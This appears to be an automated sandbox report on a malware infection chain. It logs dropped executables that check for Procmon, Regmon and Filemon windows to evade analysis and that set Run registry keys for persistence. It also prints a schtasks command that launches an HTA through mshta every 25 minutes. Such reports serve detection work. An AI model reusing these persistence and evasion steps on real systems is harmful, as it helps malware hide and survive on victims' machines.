Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\TempYEYJUOU43TXCZXVY5OTB13DT4WWGJ2P8.EXE	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\10235920101\c1f0508103.exe	Window searched: window name: Regmonclass

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn D966dmaFhpu /tr "mshta C:\Users\user\AppData\Local\Temp\vlsMF3EOY.hta" /sc minute /mo 25 /ru "user" /f

Source: C:\Users\user\Desktop\M6gQuZPvgY.exe

File created: C:\Windows\Tasks\rapes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8e933e9d51.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8e933e9d51.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run am_no.cmd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run am_no.cmd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0629403be8.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0629403be8.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d101bd5267.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d101bd5267.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 718edcc992.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 718edcc992.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_0065F98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		18_2_0065F98E
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_006D1C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		18_2_006D1C41

Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe

Code function: 13_2_009690ED GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

13_2_009690ED

Source: C:\Users\user\Desktop\M6gQuZPvgY.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\bb556cff4a\rapes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\97419fb2c0\futors.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10235300101\UD49QH6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
